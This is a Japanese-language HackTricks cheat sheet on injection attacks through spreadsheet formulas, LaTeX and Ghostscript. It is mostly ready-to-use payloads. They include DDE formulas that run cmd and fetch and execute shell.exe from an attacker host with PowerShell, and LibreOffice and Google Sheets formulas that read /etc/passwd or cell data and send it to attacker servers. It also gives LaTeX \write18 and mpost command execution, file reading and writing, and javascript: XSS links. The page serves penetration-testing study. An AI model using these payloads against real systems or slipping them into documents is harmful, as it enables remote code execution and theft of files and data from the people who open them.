# Formula/CSV/Doc/LaTeX/GhostScript Injection
{% hint style="success" %}
AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricksをサポートする
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
{% endhint %}
## Formula Injection
### Info
あなたの**入力**が**CSVファイル**(または**Excel**で開かれる可能性のある他のファイル)内に**反映**されている場合、ユーザーが**ファイルを開く**ときや、ユーザーがExcelシート内の**リンクをクリックする**ときに**実行される**Excelの**数式**を挿入できるかもしれません。
{% hint style="danger" %}
現在、**Excelは外部から何かが読み込まれたときに**(何度も)**ユーザーに警告します**。これは、悪意のある行動を防ぐためです。したがって、最終的なペイロードには特別な社会工学的努力が必要です。
{% endhint %}
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
### ハイパーリンク
**以下の例は、最終的なExcelシートからコンテンツを抽出し、任意の場所にリクエストを行うのに非常に便利です。しかし、リンクをクリックする必要があり(警告プロンプトを受け入れる必要があります)、それが求められます。**
以下の例は、[https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) から取られました。
学生記録管理システムにおけるセキュリティ侵害がCSVインジェクション攻撃を通じて悪用されることを想像してください。攻撃者の主な意図は、教師が学生の詳細を管理するために使用するシステムを侵害することです。この方法は、攻撃者がアプリケーションに悪意のあるペイロードを注入することを含み、具体的には学生の詳細用のフィールドに有害な数式を入力します。攻撃は次のように展開されます:
1. **悪意のあるペイロードの注入:**
* 攻撃者は学生詳細フォームを提出しますが、スプレッドシートで一般的に使用される数式(例:`=HYPERLINK("","Click here")`)を含めます。
* この数式はハイパーリンクを作成するように設計されていますが、攻撃者が制御する悪意のあるサーバーを指しています。
2. **侵害されたデータのエクスポート:**
* 教師は侵害に気づかず、アプリケーションの機能を使用してデータをCSVファイルにエクスポートします。
* CSVファイルを開くと、依然として悪意のあるペイロードが含まれています。このペイロードはスプレッドシート内でクリック可能なハイパーリンクとして表示されます。
3. **攻撃のトリガー:**
* 教師はハイパーリンクをクリックし、それが学生の詳細の正当な部分であると信じています。
* クリックすると、機密データ(スプレッドシートの詳細や教師のコンピュータからの詳細を含む可能性があります)が攻撃者のサーバーに送信されます。
4. **データのログ記録:**
* 攻撃者のサーバーは、教師のコンピュータから送信された機密データを受信し、ログに記録します。
* 攻撃者はこのデータをさまざまな悪意のある目的に使用し、学生や機関のプライバシーとセキュリティをさらに侵害することができます。
### RCE
**詳細については、[**元の投稿**](https://notsosecure.com/data-exfiltration-formula-injection-part1)を確認してください。**
特定の構成や古いバージョンのExcelでは、動的データ交換(DDE)と呼ばれる機能が任意のコマンドを実行するために悪用される可能性があります。これを利用するには、次の設定を有効にする必要があります:
* ファイル → オプション → トラストセンター → トラストセンターの設定 → 外部コンテンツに移動し、**動的データ交換サーバーの起動**を有効にします。
悪意のあるペイロードを含むスプレッドシートが開かれると(ユーザーが警告を受け入れた場合)、ペイロードが実行されます。たとえば、計算機アプリケーションを起動するためのペイロードは次のようになります:
```markdown
=cmd|' /C calc'!xxx
```
追加のコマンドも実行できます。たとえば、PowerShellを使用してファイルをダウンロードして実行することができます:
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
### Local File Inclusion (LFI) in LibreOffice Calc
LibreOffice Calcはローカルファイルを読み取り、データを抽出するために使用できます。以下はいくつかの方法です:
* ローカルの`/etc/passwd`ファイルから最初の行を読み取る:`='file:///etc/passwd'#$passwd.A1`
* 読み取ったデータを攻撃者が制御するサーバーに抽出する:`=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))`
* 1行以上を抽出する:`=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* DNS抽出(読み取ったデータを攻撃者が制御するDNSサーバーへのDNSクエリとして送信する):`=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
### Google Sheets for Out-of-Band (OOB) Data Exfiltration
Google SheetsはOOBデータ抽出のために悪用できる関数を提供します:
* **CONCATENATE**: 文字列を結合する - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: 構造化データタイプからデータをインポートする - `=IMPORTXML(CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: RSSまたはATOMフィードをインポートする - `=IMPORTFEED(CONCAT("http:////123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: HTMLテーブルまたはリストからデータをインポートする - `=IMPORTHTML (CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**: 別のスプレッドシートからセルの範囲をインポートする - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
* **IMAGE**: セルに画像を挿入する - `=IMAGE("https:///images/srpr/logo3w.png")`
## LaTeX Injection
通常、インターネット上で**LaTeXコードをPDFに変換する**サーバーは**`pdflatex`**を使用します。\
このプログラムはコマンド実行を(不)許可するために3つの主要な属性を使用します:
* **`--no-shell-escape`**: `\write18{command}`構文を**無効**にします。texmf.cnfファイルで有効になっていてもです。
* **`--shell-restricted`**: `--shell-escape`と同じですが、**事前定義された**「安全な」コマンドのセットに**制限**されています(**Ubuntu 16.04ではリストは`/usr/share/texmf/web2c/texmf.cnf`にあります)。
* **`--shell-escape`**: `\write18{command}`構文を**有効**にします。コマンドは任意のシェルコマンドであることができます。この構文は通常、セキュリティ上の理由から許可されていません。
ただし、コマンドを実行する他の方法もあるため、RCEを避けるためには`--shell-restricted`を使用することが非常に重要です。
### Read file
注入を`[`または`$`のようなラッパーで調整する必要があるかもしれません。
```bash
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```
#### 単一行ファイルを読む
```bash
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### 複数行のファイルを読む
```bash
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
```
### ファイルを書く
```bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### コマンド実行
コマンドの入力はstdinにリダイレクトされるので、一時ファイルを使用して取得します。
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
LaTexエラーが発生した場合は、悪い文字なしで結果を得るためにbase64を使用することを検討してください。
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### クロスサイトスクリプティング
From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Ghostscript Injection
**チェック** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
## 参考文献
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
{% hint style="success" %}
AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricksをサポートする
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
{% endhint %}